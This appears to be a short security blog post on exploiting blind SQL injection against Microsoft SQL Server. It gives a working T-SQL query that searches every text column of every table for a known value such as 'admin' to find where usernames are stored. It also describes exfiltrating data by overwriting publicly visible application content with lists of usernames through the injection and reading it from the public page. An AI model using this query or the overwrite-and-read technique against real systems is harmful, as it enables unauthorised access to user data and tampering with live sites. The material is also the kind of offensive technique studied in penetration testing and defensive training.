Record Locater for SQL Injection
There are cases where we need to find users table within hundreds of tables. While dealing SQL Injection issues like Blind or Full Blind SQL Injections we can't just extract the all schema out of the db within minutes. In a big database it’d take ages and thousands of requests.
Let’s assume that we know a username in the system but looking for the table name which store usernames. Instead of playing “guess the table name” we can actually find the table from the record we already got.
Basically following SQL Query will search through all tables and all char type columns in the database and try to find specified record (in this case ‘admin’).
DROP TABLE #tmprec
CREATE TABLE #tmprec (CN nvarchar(370))
DECLARE @x nvarchar(256), @t nvarchar(256); SET @x = '';
WHILE @x IS NOT NULL
SET @x = (SELECT MIN(TABLE_NAME+'.'+COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME+'.'+COLUMN_NAME>@x AND DATA_TYPE IN ('char','varchar','nchar', 'nvarchar'))
SET @t = PARSENAME(@x, 2);
IF @x IS NOT NULL INSERT INTO #tmprec EXEC ('SELECT ''' + @x + ''' FROM ' + @t + ' WHERE ' + @x + '=''admin''')
SELECT CN FROM #tmprec
P.S. : It may be optimized more but that’s what I’ve got so far on optimization.
P.S. 2 : This query for SQL Server and only tested under SQL Server 2005 but similar queries can be written for ORACLE, PostgreSQL etc. to accomplish same results.
P.S. 3 : Part of the query based on here
Basically this query will return us something like “Members.username”.
Also if you got a publicly readable big content in the application what you can do is; you can find where that record is stored in the database and then instead of reading content from the SQL Injection you can just update that public content with something like “list of usernames” and read it from the public place. To able to locate place of the content in the database you can use the query above.
I started to use PARSENAME() instead of CHARINDEX() and LEFT() combination. A bit shorter like this.